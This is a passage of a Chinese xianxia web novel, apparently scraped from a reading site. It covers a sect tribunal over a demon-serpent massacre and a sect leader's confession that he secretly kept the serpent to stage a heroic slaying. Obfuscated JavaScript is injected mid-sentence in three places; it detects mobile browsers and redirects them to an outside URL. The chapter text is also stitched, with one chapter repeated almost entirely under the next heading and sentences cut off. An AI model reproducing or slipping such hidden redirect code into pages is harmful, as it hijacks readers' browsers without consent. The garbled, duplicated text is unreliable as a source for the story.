生怕她不够烦似的,功德簿还在那边叮叮当当闪个不停。她把它丢回乾坤袋里,它那光芒还透过袋子,试图继续闪瞎她。 行了行了,不用它老人家提醒,她也知道她现在做的事在攒无量功德。 但即便是这样,因为伤者太多,情况紧急,忙活了一整夜,耗费了不少心血,一群人也才救回半数的弟子。 孟星遥的额上沁出薄汗,心口处泛着一丝淡淡的乏力,身边的其他人也显露出疲惫之感。 而就在此时,八门法阵之中,有一股浓厚的灵气渡入,不露声色,却顿时令法阵中的众人身上一轻。 孟星遥微微睁开眼。 只有她认出来,那股灵气来自纯正的鸿蒙天行真气,大荒之上,是谢云迢才有的东西。 有了他的协力,她灵力充沛,自然后顾无忧,动作也快了很多。 三盏长明灯于天地迷途之中亮起奇异光芒,吸引着未离开的游荡亡魂。 她眼疾手快,迅速捕捉住那缕缕残魂,以灵力将他们封进□□里一同滋养。 救治完所有的受伤弟子后,早已天光大亮。 不少医修弟子忙了一夜,也顾不上礼仪容表,彼此倚靠,瘫软在地,汗流浃背。 忽有柔软的灵力无声渡来,如春风拂面,暖阳和煦,令人顿觉疲惫消除,灵台清明。 “今日辛苦各位了,”孟星遥的声音传来,清雅而空灵,“待此间事毕,回去后各有奖赏。” “多谢尊上!” 众人惊喜之余,连忙起身行礼道谢。 孟星遥轻轻颔首,随手给自己施了净身咒,整理好仪容,起身前往会客厅。 她抵达时,谢云迢正好欲饮手上的那杯清茶。 桌上的糕点一点未动,倒也不意外,他辟谷多年,若不是不想打击苏祈月的好意,从来不吃这些俗物。 孟星遥看向一旁陪同的弟子,问道:“饮了多少?” “一壶。” “好,一壶二钱茶叶,龙团胜雪一钱万金,趵突泉水一壶千金,掌门记得付钱。” 谢云迢:“咳……” 什么茶这么贵。 他放下杯子,孟星遥看出他想说什么,解释道:“这茶叶泉水虽是凡物,但在汝河也是皇家的贡品,我可没讹你。而且,我这里原本也就不多,只剩区区五两了。” “下次佑宁派人来时,让他们再带一些。” “带不了,”她双手一摊,“佑宁说技艺失传,绝版了。” 谢云迢没放心上:“那让他们重新研究下,你想要,她还能不给吗?” 这叫什么话?她是这么不讲道理的神仙? 孟星遥娥眉一挑,双手一环,正要发作,谢云迢又说:“我来得匆忙,回头让少衡给你送来。” 他望向她:“是我失职,来得晚了,若是觉得不够,你看还要什么,才能让你消气。” “……” 有微微西风潜入屋中,吹动他额前碎发轻动,那一双桃花眼长睫弯弯,无情无意,态度却十分诚恳。 他是认真在道歉。 四目相对,孟星遥抿了抿唇,最终败下阵来,叹了口气。 不为难他了。 她拂袖坐下,将昨日了解到的情况,事无巨细地告知了他。 谢云迢身处高位多年,见惯大风大浪,一路听下来都十分稳重淡定,唯有在听见云凌城及白玹时,微微蹙了眉。 “那白玹来路不明,我已先行带回,可留待后议。虽说飞雪剑宗是祈月扶持的,多年来也算劳苦功高,但此事伤亡严重,非同小可,必须得给其他宗门一个交代……”孟星遥说。 谢云迢站起身,声音冷沉:“未有斩草除根,查明真相,以致酿成大祸,此番飞雪剑宗,定要严惩。” 东曜阁上,阴云霭霭,雷霆欲来。 孙常德迈上最后几块石阶时,衣摆不知怎么回事,很不懂事地飞到前头,直接绊了他一跤。 他踉跄两步,方才稳住身形,还好四周无人,此番窘样无人看见。 他抬起头,曾经来过很多次的东曜阁就在眼前,却令他心里一阵阵地发慌。 那扇朱红雕花大门,从未令他觉得如此高大而压抑,像一张血盆大口,等待着他这只猎物进入必死的陷阱。 他咽了咽口水,深吸了一口气,才终于遏制住自己想要遁地而逃的冲动,硬着头皮往里走去。 东曜阁的主殿里已经有很多人了,孙常德是最后一个到的。 此番幽水冥虺残害归明子弟一事,已经传遍归明仙府,受害宗门共有十八处,合计受伤弟子百人以上,暂未能被救回的,也有十九人。 “砰!” 卷轴砸落地上,孙常德的头埋得更低了。自进门之后,他就无颜抬头看四周。 他能感觉到所有同僚的目光如炬,都集中在他身上。 谢云迢平日虽清冷淡然,但他脾气很好,对他向来满意,议事时也常带着温和的笑。 想来这册子应当是孟星遥砸的,她有心扶持清河,不喜飞雪剑宗,每次对他都板着一张脸,很难说话。 那卷轴翻滚两下,恰好到了他跟前,摊开了一页。他余光一扫,白纸黑字写着“……六具尸,皆为清河道宗门下,同为玄阴万魂阵所害,形骸半损,三魂杳然,七魄俱亡,天命难续,敬待尊示……” 他的身子轻轻颤抖。 与此同时,脑袋上响起的却是谢云迢的声音。 “孙常德!你身为飞雪剑宗宗主,辜负仙府重托,失察妖祸在前,谎报功绩于后,竟容那幽水冥虺藏于薄山郊野,蛰伏至今,乃至戕害同门,血案累累。酿此滔天之祸,你可知罪?” 孙常德悄悄抬头,瞥见顾玄明正站在台下,揣着手,神色恹恹,不敢看他,显然也是刚被训过。 他活了三百多年,从没觉得自己脑子转得这么快过,立马重重磕了两个头,喊道:“掌门明鉴!幽水冥蛇一案,当初玄明长老同小女满榕共斩邪魔,焚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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而剩下的大部分人却分为了两派,一派犹疑再三,才跟着行礼。而有另一派人却丝毫未动,反而望向孟星遥,直到她点头,才浅浅行了一礼。 苏祈月笑容亲和:“诸君多礼了,我有近三百年未曾与诸位相见,果然多了许多新面孔。会后若有闲暇,还请来我水镜阁作上一客。” 她望向高台:“掌门、尊上,我因伤退位多年,本不该僭越,但既然来了,还是想替飞雪剑宗求上一情。” 话都说得这么直白了,殿中无声,静待她的下文。 “魔物狡诈阴险,有备而来,换作他人,也未必能识破,当年玉清柳氏因私叛乱,连累仙府上下百千人,多亏飞雪尽职尽责,挽救危难,现今当务之急,应当是剿灭幽水妖窟,寻找那十九生魂,飞雪曾与之交手,尚有经验,总比他人束手无策来得好。待此间事毕,可再行惩罚。” 她顿了一下,淡淡一笑,继续道: “我虽受伤退位,也知这三百年来,飞雪剑宗与清河道宗为争首座,素有罅隙,东曜阁也颇有微词。各位当年皆是于归明危难之际力挽狂澜、扶危定倾之功臣,又曾倾力相救于我,我承此恩情,本不该有此不情之请,但飞雪剑宗一脉与我相识多年,实在无法袖手旁观,还望掌门及尊上应许。” 说到往事,她长睫掩下,隐有哽咽。 苏祈月本就长得柔弱,此番娥眉低蹙,泪眼憧憧,更是惹人怜惜。 身旁的危梦之急忙道:“阿姊,百里师尊说你需静养,不可动气,此事难断,你勿要再管了。” 他是个行动派,说着就要带她回去,没想到她看着纤瘦,却态度十分坚决,摁住了他的手,转头紧紧盯着高台之上。 孙常德俯身趴在地上,一动也不敢动。 殿堂之中,隐有窃窃私语之声,当年内情,在场之人或多或少都有所了解,全因天璇仙君出事,摇光仙尊才能接任这二掌门之位,又借掌门救人之际趁虚而入,从此大权独揽,阿党比周。 天璇仙君若是再晚些回来,只怕归明仙府要彻底变天。 除此之外,苏祈月重情重义,撑着病体赶来说出的这番话,也不无道理。 众人心知肚明,妖魔狡诈,确实无法尽数怪罪飞雪剑宗。 只是此事严峻,需要一个替罪羊来安抚人心。 而飞雪剑宗就是那个倒霉蛋。 谢云迢眉头微蹙,他望着苏祈月病容恹恹,又倔强坚定的神情,宣判的话到嘴边,却化作了迟疑。 他从来古井无波的眼底,泛起连他自己都没察觉出的心疼。 左下侧端坐的孟星遥忽地轻笑一声,开口道: “罢了,既然天璇仙君如此信任飞雪剑宗,自愿为其作保,我亦不再多言,皆听掌门决断。只望孙宗主好自为之,莫要辜负了如斯信任。” 底下的孙常德如释重负,立刻回道:“弟子定不辱使命!” 28.孙家祖庙 孟星遥独自走出大殿的时候,人已尽数散去。 日暮西山,飞鸟流云,又是一天。 苏祈月不听医嘱,执意出来,惹得情绪激动,果然遭到了报应。 议会刚结束,她就瘫倒在轮椅上,心痛交加,冷汗涔涔,说不出话。 危梦之急忙为她施法,但仍见不得半分缓解。身后的谢云迢一出来,正好目睹她将从椅子上滑落下去。 待反应过来之时,他已经三步并作两步上前,比危梦之更快地将她扶住。 苏祈月强撑着眼皮,迷茫又痛苦地看了他一眼,随后咕咚昏了过去。 谢云迢眉头紧锁,再顾不得许多,直接将她打横抱起,用最快的速度往水镜阁方向飞去。 孟星遥出来时,迎接她的是三人离去的背影。 手中原本要送给苏祈月的丹药悬在半空,又被她默默塞回了袖子里。 玉阶之上,各宗宗主及长老三三两两并行离去,转眼偌大的留仙坛,只剩她一个人伫立在原地。 夕下的余晖,恰好将她的背影拉得很长。 她垂下目光,看见孙常德正跌跌撞撞地走下台阶。他今日吓得不轻,出了禁制范围后都不记得可以用仙术离开。 好在走到半路,有人过来接他。都是熟人,除了林海外,孙满榕、宋云扬,以及林悦君都在。 不同于神采奕奕的林悦君,孙满榕明显蔫头耷脑,无精打采的,身上灵力微薄,看来那瓶净化后的灵力,她辛苦折腾,也没有成功吸收多少。 见着林悦君要来扶孙常德,孙满榕飞速往前走了两步,一把挤开她。 她这个举动意味明显,几人不由地面面相觑。 宋云扬眉头微蹙,林悦君不好意思地笑了一下,正要往后退开,孙常德却拉住了她,示意她和宋云扬一起陪着自己。 孟星遥捻指轻挥,一缕灵力附身于树丛里一只不起眼的山雀,轻啼一声就跟了上去。 孙常德一行人很快回了泽苍山飞雪剑宗。 一路上孙常德都沉默不语,进了飞雪剑宗的大门之后,他没有去议事厅或者回房休息,反而带着他们一路往南飞。 泽苍山是归明仙府座下,清衡山系里排名第二大的山,树木葳蕤,悬崖峭壁,峰岭相连,气势磅礴。 飞雪剑宗财力雄厚,素来出名。其祖师爷孙畅商贾出身,积下金山银海。但因寄身于归明仙府,不便太过张扬,因此亭台楼阁、园林山石,皆是精心打造,处处深藏低调奢华。 泽苍山这么大的一处洞天福地,也是孙畅专门托人去仙华天都的星命盘算过,精心挑选。 最后一半靠买,一半靠打,最终折腾到手,将整个宗门迁移了过来。 南边的山更是广袤,望不见尽头,仿佛要一路接连至南荒。而在这山林雾海之中,有一处山头却极为特别。 此山山体很小,山势却极陡,万仞孤峰冲天而去,仿若直达云霄,鹤立鸡群于群山之中,极为惹眼。 而在那山头之上,以层层法阵和符箓相护,洁白的灵气绘制成美丽的银盏铃兰图腾,流转绽放,有闪电雷光游走其中,炽白夺目,令人不敢接近。 法阵之内,九重飞檐宝楼,琉璃玉瓦,雕梁画栋,无数威严的玉雕脊兽整齐成行,栩栩如生,朝天坐镇相守。 檐下接连法阵的黄铜风铃如金色花束,泛着金色幽光,随风摇晃,发出悦耳又庄严的清音。 乍一看,这楼宇竟比飞雪剑宗的宗门大殿还要巍峨美丽。 孙常德结印施法,一处封印应声出现。他将手中的一枚小小金镶玉牌放了进去,玉牌发出光芒,逆时针旋转了一圈,那法阵开了一道小口。 “进去吧。”他说。 雀鸟打了个转,被孟星遥的灵力隐去身形,在法阵合上的最后一刹钻了进去。 这是孙家的祖庙,另外四人显然已经不是第一次来了,唯一目露诧异的只有林悦君。 虽说她被收养在孙常德的表弟家中,自小由修为也已近真仙的林家夫妻俩教养,但从未让她以真实身份示人,如今连壁垒森严的祖庙都带她进来,其意不言而喻。 高楼巍峨庄严,林海被留在外面,只允许他们三人跟着孙常德进去。 祖庙里摆设古朴而又精美,头一次来的林悦君却目不斜视,端庄沉稳,专心跟着孙常德往里走,尽显大家风范,令人赞叹。 孙常德暗自满意地点点头。 祖庙深处,供奉着孙家历代先祖的玉质牌位。 孙畅生前竭尽所能,把能找到根源的先祖都写进了族谱里,倾尽所有建造了这方华美的祖庙。 这些牌位都是用上好的和田美玉雕刻而成,施了仙术,悬浮在空中,按大荒苍穹星图布列,散发着璀璨的华丽宝光,令人叹为观止。 一行人规规矩矩地焚香行礼,孙常德将三柱香插进香炉里,又认认真真地叩拜了三次,方才转过身,深深地长叹了一口气。 “飞雪剑宗传承至今,虽然只有八百三十二年,但我们孙氏的历史从一千六百三十五年前就已有记载,而开创出这一切的人,是谁?” “是孙畅祖爷爷。”孙满榕喃喃道。 “对,是他。”孙常德点点头,“诸位皆知我们先祖孙畅的名声,他为飞雪剑宗及孙氏后辈积攒了无数资产,也是孙氏第一个踏上修仙之路的人。” “但你们也该知道,我们飞雪剑宗除了传承归明仙法之外,还有自己的一整套法术及剑招,名叫金玉修身诀,是我们祖师爷自创的招式,其实这套术法,来自于千年前一个被妖兽覆灭的宗门,名叫鸣玉楼。” 四周响起轻微的轰鸣声,苍穹星图随他的言语向四周退去,一个高大宏伟的精雕玉像自黑暗中慢慢显露出来。 男子持剑而立,雄姿英发,栩栩如生,正是孙畅的雕塑。 “可惜啊,鸣玉楼当年被妖族所害,一夕覆灭,先祖孙畅身为鸣玉楼大弟子,拼尽全力,亦无法阻拦,当时鸣玉楼的段楼主弥留之际,将宗门至宝天元长生锁托付给了祖师爷,也是因为长生锁的保护,祖师爷才能死里逃生,将鸣玉楼的仙术武学传承至今,并自创了金玉修身诀和滚玉珠剑法,寓意即便是商贾之身,也可修身、治国、平天下。” “只是,祖师爷虽拼死一战,死里逃生,却也被妖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972150|172938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兽所害,灵脉受污,以至于孙氏血脉的后代,皆资质平平,”孙常德看着自己手上的皱纹,长长叹了一口气,“好在还有天元长生锁及祖师爷留下的资产,加上我们孙氏一族和多方仙门联姻,终于有所改善此番困境。” 雕塑的雕工十分精美,孙畅扬剑直指苍穹,气势如虹,又眉目如画,连他那淡淡忧郁的神情也刻画得入木三分。 而他的胸前悬带着一个金镶玉的镂空雕铃兰纹玉锁,在底下灵矿的供养下,散发出淡淡的莹绿色幽光,反哺出至纯灵气滋润着在场众人。 天元长生锁的威名,身为镇宗之宝。飞雪剑宗无人不知,就连孟星遥也有所耳闻。 不过三十六宗各有自己的镇宗之宝,五花八门,琳琅满目,她没太放在心上,却没想到此物竟是鸣玉楼的遗物。 孙常德说:“你们三人都有我孙氏血脉,我今日带你们来这儿,也是因为我们飞雪剑宗遇见了此生未有之大劫。飞雪剑宗欲登西洲宗门之首,其中因果,便是那天元长生锁之神威,可从杂质之中汇聚至纯灵力,我们掌握的矿脉越多,长生锁的威能就越强,对血脉相连之人的进修大有裨益。当年祖师爷和天璇仙君相识于微末,也是患难之交,飞雪和归明相辅相成,亦是一段佳话。只可惜摇光仙尊一直对我们……” 他摇了摇头,虽然没往下继续说,但意思不言而喻,另外三人心照不宣,气氛多了几分惋惜和伤感。 “爹爹,”孙满榕忍不住接话,“祈月师姑都回来了,有她在,我们也不用多怕那孟星遥了。” “尊者在上,你谨言慎行。”孙常德瞪了她一眼,又道,“唉,你说得也对,天璇仙君回来了,只待我们跨过目前这一难关,日后有她相助,应当……会比现在顺利一些……” 他重重叹了口气:“我为何带你们来这儿,你们也应猜出来了。归明仙府英才辈出,我飞雪剑宗这首座之位,来得不易,自天璇仙君出事,摇光仙尊上位后,我每日如履薄冰,重压之下,难免急病乱投医,那白玹偏生来得凑巧,唉,云扬、悦君,你们俩当初劝得对,我悔不该信那来路不明的野修,结果害了榕儿不说,还令飞雪陷于此等困境。” 三人面面相觑,似乎都有些意外,孙满榕急得大喊:“爹……什么意思啊!白先生做了什么啊?” 像是印证了她心中的猜想,孙常德又叹了口气:“百年前,我初登宗主之位,飞雪剑宗遭尊上惩戒,彻底一落千丈,彼时白玹出现,他出身西荒,为躲妖祸迁来东荒,流浪多年,恍如浮萍,无根所依,我好心收留,而当时也正是我飞雪剑宗最为艰难的时候,他为我献计献策,确有奇效,飞雪声威重现,我也渐生倚重之心。” “然而,有清河道宗挡在前头,飞雪难再跃升。二十年前,薄山忽有受伤蛇妖迁徙而至,其实初现之时,阿海和我已然察觉,正欲除之,白玹却出言阻拦,说他有一计可施,可令飞雪重登首座。” “那一计便是,将这蛇妖暗中豢养,待得时机成熟,演一出斩魔除妖的隆重好戏,借此博取声望。” “什么?”三人皆是吃了一惊,就连隐身在旁围观的孟星遥也微微蹙了眉头。 29.孙家祖庙 孟星遥独自走出大殿的时候,人已尽数散去。 日薄西山,飞鸟流云,又是一天。 苏祈月不听医嘱,执意出来,惹得情绪激动,果然遭到了报应。 议会刚结束,她就瘫倒在轮椅上,心痛交加,冷汗涔涔,说不出话。 危梦之急忙为她施法,但仍见不得半分缓解。身后的谢云迢一出来,正好目睹她将从椅子上滑落下去。 待反应过来之时,他已经三步并作两步上前,比危梦之更快地将她扶住。 苏祈月强撑着眼皮,迷茫又痛苦地看了他一眼,随后咕咚昏了过去。 谢云迢眉头紧锁,再顾不得许多,直接将她打横抱起,用最快的速度往水镜阁方向飞去。 孟星遥出来时,迎接她的是三人离去的背影。 手中原本要送给苏祈月的丹药悬在半空,又被她默默塞回了袖子里。 玉阶之上,各宗宗主及长老三三两两并行离去,转眼偌大的留仙坛,只剩她一个人伫立在原地。 夕下的余晖,恰好将她的背影拉得很长。 她垂下目光,看见孙常德正跌跌撞撞地走下台阶。他今日吓得不轻,出了禁制范围后都不记得可以用仙术离开。 好在走到半路,有人过来接他。都是熟人,除了林海外,孙满榕、宋云扬,以及林悦君都在。 不同于神采奕奕的林悦君,孙满榕明显蔫头耷脑,无精打采的,身上灵力微薄,看来那瓶净化后的灵力,她辛苦折腾,也没有成功吸收多少。 见着林悦君要来扶孙常德,孙满榕飞速往前走了两步,一把挤开她。 她这个举动意味明显,几人不由地面面相觑。 宋云扬眉头微蹙,林悦君不好意思地笑了一下,正要往后退开,孙常德却拉住了她,示意她和宋云扬一起陪着自己。 孟星遥捻指轻挥,一缕灵力附身于树丛里一只不起眼的山雀,轻啼一声就跟了上去。 孙常德一行人很快回了泽苍山飞雪剑宗。 一路上孙常德都沉默不语,进了飞雪剑宗的大门之后,他没有去议事厅或者回房休息,反而带着他们一路往南飞。 泽苍山是归明仙府座下,清衡山系里排名第二大的山,树木葳蕤,悬崖峭壁,峰岭相连,气势磅礴。 飞雪剑宗财力雄厚,素来出名。其祖师爷孙畅商贾出身,积下金山银海。但因寄身于归明仙府,不便太过张扬,因此亭台楼阁、园林山石,皆是精心打造,处处深藏低调奢华。 泽苍山这么大的一处洞天福地,也是孙畅专门托人去仙华天都的星命盘算过,精心挑选。 最后一半靠买,一半靠打,最终折腾到手,将整个宗门迁移了过来。 南边的山更是广袤,望不见尽头,仿佛要一路接连至南荒。而在这山林雾海之中,有一处山头却极为特别。 此山山体很小,山势却极陡,万仞孤峰冲天而去,仿若直达云霄,鹤立鸡群于群山之中,极为惹眼。 而在那山头之上,以层层法阵和符箓相护,洁白的灵气绘制成美丽的银盏铃兰图腾,流转绽放,有闪电雷光游走其中,炽白夺目,令人不敢接近。 法阵之内,九重飞檐宝楼,琉璃玉瓦,雕梁画栋,无数威严的玉雕脊兽整齐成行,栩栩如生,朝天坐镇?相守。 檐下接连法阵的黄铜风铃如金色花束,泛着金色幽光,随风摇晃,发出悦耳又庄严的清音。 乍一看,这楼宇竟比飞雪剑宗的宗门大殿还要巍峨美丽。 孙常德结印施法,一处封印应声出现。他将手中的一枚小小金镶玉牌放了进去,玉牌发出光芒,逆时针旋转了一圈,那法阵开了一道小口。 “进去吧。”他说。 雀鸟打了个转,被孟星遥的灵力隐去身形,在法阵合上的最后一刹钻了进去。 这是孙家的祖庙,另外四人显然已经不是第一次来了,唯一目露诧异的只有林悦君。 虽说她被收养在孙常德的表弟家中,自小由修为也已近真仙的林家夫妻俩教养,但从未让她以真实身份示人,如今连壁垒森严的祖庙都带她进来,其意不言而喻。 高楼巍峨庄严,林海被留在外面,只允许他们三人跟着孙常德进去。 祖庙里摆设古朴而又精美,头一次来的林悦君却目不斜视,端庄沉稳,专心跟着孙常德往里走,尽显大家风范,令人赞叹。 孙常德暗自满意地点点头。 祖庙深处,供奉着孙家历代先祖的玉质牌位。 孙畅生前竭尽所能,把能找到根源的先祖都写进了族谱里,倾尽所有建造了这方华美的祖庙。 这些牌位都是用上好的和田美玉雕刻而成,施了仙术,悬浮在空中,按大荒苍穹星图布列,散发着璀璨的华丽宝光,令人叹为观止。 一行人规规矩矩地焚香行礼,孙常德将三柱香插进香炉里,又认认真真地叩拜了三次,方才转过身,深深地长叹了一口气。 “飞雪剑宗传承至今,虽然只有八百三十二年,但我们孙氏的历史从一千六百三十五年前就已有记载,而开创出这一切的人,是谁?” “是孙畅祖爷爷。”孙满榕喃喃道。 “对,是他。”孙常德点点头,“诸位皆知我们先祖孙畅的名声,他为飞雪剑宗及孙氏后辈积攒了无数资产,也是孙氏第一个踏上修仙之路的人。” “但你们也该知道,我们飞雪剑宗除了传承归明仙法之外,还有自己的一整套法术及剑招,名叫金玉修身诀,是我们祖师爷自创的招式,其实这套术法,来自于千年前一个被妖兽覆灭的宗门,名叫鸣玉楼。” 四周响起轻微的轰鸣声,苍穹星图随他的言语向四周退去,一个高大宏伟的精雕玉像自黑暗中慢慢显露出来。 男子持剑而立,雄姿英发,栩栩如生,正是孙畅的雕塑。 “可惜啊,鸣玉楼当年被妖族所害,一夕覆灭,先祖孙畅身为鸣玉楼大弟子,拼尽全力,亦无法阻拦,当时鸣玉楼的段楼主弥留之际,将宗门至宝天元长生锁托付给了祖师爷,也是因为长生锁的保护,祖师爷才能死里逃生,将鸣玉楼的仙术武学传承至今,并自创了金玉修身诀和滚玉珠剑法,寓意即便是商贾之身,也可修身、治国、平天下。” “只是,祖师爷虽拼死一战,死里逃生,却也被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15982839|172938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 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像是印证了她心中的猜想,孙常德又叹了口气:“百年前,我初登宗主之位,飞雪剑宗遭尊上惩戒,彻底一落千丈,彼时白玹出现,他出身西荒,为躲妖祸迁来东荒,流浪多年,恍如浮萍,无根所依,我好心收留,而当时也正是我飞雪剑宗最为艰难的时候,他为我献计献策,确有奇效,飞雪声威重现,我也渐生倚重之心。” “然而,有清河道宗挡在前头,飞雪难再跃升。二十年前,薄山忽有受伤蛇妖迁徙而至,其实初现之时,阿海和我已然察觉,正欲除之,白玹却出言阻拦,说他有一计可施,可令飞雪重登首座。” “那一计便是,将这蛇妖暗中豢养,待得时机成熟,演一出斩魔除妖的隆重好戏,借此博取声望。” “什么?”三人皆是吃了一惊,就连隐身在旁围观的孟星遥也微微蹙了眉头。 30.云凌真相 自己养妖自己除妖,还能这么刷功德? 孟星遥疑惑。 “所以,那妖魔伤人……”几人中,林悦君最先反应过来,惊诧地捂住了嘴。 孙满榕不满地瞪了她一眼:“你假惺惺什么啊。”话虽如此,她还是有些悚然地问道:“爹啊……你别告诉我,云凌城里死了的那些人,是你们有意为之……” 孙常德气得胡子直哆嗦:“哎呀!你们怎么能这么想你们爹啊。我承认我有时是有点小毛病,喜欢走捷径,但也不至于如此丧心病狂吧。” 他继续道:“起初,我不放心,派人里三层外三层地将薄山附近寻了个遍,只找到那一个蛇窟。蛇窟不大,那妖虺是条母蛇,还诞了三个蛇蛋,都被我们带走关了起来。妖虺恶毒凶猛,即便受伤了,也可统摄薄山一带的小妖。为了不让这孽畜恢复得太快,也为了能向上报功,我们每隔五年还会故意放她出去,召唤小妖闹点小乱子,也能趁机割伤放血,让她始终虚弱。 “五年前,清河道宗除妖不利,被仙府训诫,我见时机已到,就把她放了出去,还给她喂了一颗九转回神丹。你们也知道,此药单独服下,只能临时增强修为,回光返照,药劲一过,这妖物必死无疑。 “谁能想到,这妖虺蛰伏多年,一出去,就逃脱了我们的掌控,在云凌城兴风作乱,不仅没死,还一手制造出了失踪案。 “仙府又派真君下来过问,我当时都急疯了,好在白玹出主意,利用她的蛇崽子,终于找到并铲除了她。 “然而白玹却借着此事邀功,想向我借看天元长生锁,我在此位多年,哪能不警觉?理所应当拒绝了!可千防万防,还是没能发现,这蛇妖的同族居然靠她这些年留下的线索,暗藏在薄山深处,建造如此大的窠巢,最终酿此灾祸。出事之后,白玹就失踪,无处寻他,我这才惊觉,他最初来此,就是心怀不轨,最终目的,恐怕就是为了得我信任,拿到这天元长生锁!” 几人抬头,那天元长生锁沐浴着幽光,无时无刻不在散发出纯真的灵气,这是和他们孙氏血脉息息相关的至宝,唯有他们的血脉才能驱动,亦是他们掌管飞雪剑宗座下万名弟子的关键。 “如今出了这事,我飞雪剑宗,又遭大祸,属实不太平啊。” 说着,孙常德转过身,一边嘟囔着,一边又哆哆嗦嗦地给祖宗上了一香。 见他这窝囊样,孙满榕翻了个白眼。她爹就是硬灌起来的玄真境。那么多丹药,日夜灵泉浸泡洗经伐髓,是头猪都能飞升。 林悦君柔声道:“阿爹为飞雪日夜操劳,委实是辛苦了。” 嘿,这人? 一旁的宋云扬察觉出孙满榕的不悦,不露痕迹地往前走了两步,挡在两人的中间。 “舅父,所以我们要做什么?” 孙常德转身,看着身前的孩子们,叹了一口气:“我已经在东曜阁上和各位尊者立誓,此番妖虺之灾,我们飞雪剑宗必要斩草除根,将功补过,至于以后如何,且行且看吧。” 他看向乖巧懂事的林悦君,眼中难得多了几分慈爱:“悦君啊,爹对不住你,你从小到大,一直流落在外,没过过几天好日子,我今日把你带来这儿,也是想在先祖跟前,将你的姓氏改回来。爹爹知道你很优秀,因为榕儿身上还有伤,此次除妖,还得你和云扬为主力,率领门下弟子,共战妖邪,救回同门。” “不需要!”孙满榕立刻叫道,“尊上已经将灵力还与我,再给我几日,我必定恢复修为,哪里需要她来?” “你闭嘴!都这个时候,能不能懂点事,真是让你娘宠坏了!”孙常德恨铁不成钢地瞪了她一眼,但想起她受伤的缘由,又将声音放软了一些,“让你姐姐去,你先好好养伤,等恢复了再说,现在逞什么能?” 孙满榕还想争辩,宋云扬走过来拉住她,本意是想安慰,她却会错了意,怒瞪双眼,一把甩开他。 “干什么!你别拉我!”她叫道,“我才懒得跟你最爱的舅舅吵架!” “满榕!”宋云扬说,“这是为你好!” “我杀过那妖虺,我有经验,凭什么不让我上!”她不高兴极了,“我说了我能恢复,为什么不信我!” “没有不信你呀。”林悦君柔声细语,“若你能恢复,我自然不敢承此大任,可你现在口说无凭,又怎么能怪云扬和爹爹呢。” “我……” 孙满榕被她一噎,一口气堵在心口上不来下不去,下意识想抬手打她,但碍于宋云扬和孙常德在旁盯着自己,最后只能悻悻地一甩胳膊,骂道:“好好好!就你长嘴了,就你说话好听!你……你们真牛!我不管了!行了吧!” 她从小到大,众星捧月,从来都只有她欺负人的份,何曾受过这种委屈,真要吵架,连话都不会说了。 最后几个字,已经带了哭腔。 眼泪掉下来的瞬间,她转头朝外跑去,宋云扬急忙想追,又被孙常德呵住。 “行了,”他说,“别管她,一天到晚只会发脾气,跟她娘似的,过几天就好了。” 林悦君走上来,轻声道:“阿爹,我知你信我,但改姓一事,还是等此间事毕再提吧,大娘和满榕不肯接纳我,我总该有所贡献,才能让她们改观。” 她容色如画,眉眼间有几分像年轻时的孙常德,只是先前没注意,她身上的气质竟如此特别,温婉柔美中又带着一丝坚韧,既不像他,也不像她那娇软无骨、低眉顺眼的舞姬亲娘,不知到底随了谁。 算了,自己的女儿,总归是随了自个儿,兴许自己的气质就是如此大方雅致。 孙常德点点头,放下心来:“悦君,你如此懂事,吾心甚慰,往事都过去了,血脉相连,以后都是一家人。” 林悦君乖巧一笑。 几人商议完毕,便准备从祖庙离开。临走前,星图流转,传来轰隆响声,又将那孙畅的雕塑渐渐隐去。 孟星遥抬头望去,这雕塑应当是砸了重金出自大家之手,星光照耀在孙畅的脸上,连他那纤长的睫毛都刻得栩栩如生,眉目间萦着淡淡忧郁,是她印象里的模样。 不论人品,孙家人确实在相貌这一块得天独厚。 林悦君第一次见到自己先祖,竟也有些出神,她凝望着渐渐消失的孙畅雕塑,驻足不动,直到一旁的宋云扬问道:“你怎么了?” “没什么。”她收回视线,转身同他们一起离开,“我只是在想……祖师爷如此好看,年轻时恐怕也是个多情的男子。” “那你可误会。”宋云扬说,“祖师爷品行端正,洁身自好,和他的夫人琴瑟和鸣,相守一生,一直为后人所称颂,着实令人羡慕。” 林悦君脚步一顿,再迈步时,没有防备地恰好撞到宋云扬的身上。 身体相触的瞬间,鼻尖传来少年衣襟处干净好闻的皂粉香,她仰起头,宋云扬那双清澈的眼眸里,清晰倒映出神色怅然的自己。 下一刻,宋云扬猛地往后一弹,拉开距离,如触电般将视线挪开。 “快走吧。”他轻咳一声,拂顺衣袖,耳尖处泛着不自然的粉色,头也不回地快步朝前走去,“舅父在催了。” 孟星遥跟在一旁,啧啧称奇,心想还好没让池苒看见祖庙这段,不然这八卦王又要兴奋地在她的话本子里添油加醋地将这些仙门秘事改编进去了。 山雀嘀咕几声,飞翔而去。然而即将离开祖庙的那一刻,忽然有一道劲风劈来! 她一个翻身躲过袭击,回头看去,竟是守在门口的林海。 他警惕地盯着她的方向,两指并诀,手中罗盘指针迅速翻动,竟是察觉出了她的存在。 “怎么回事!”孙常德大叫。 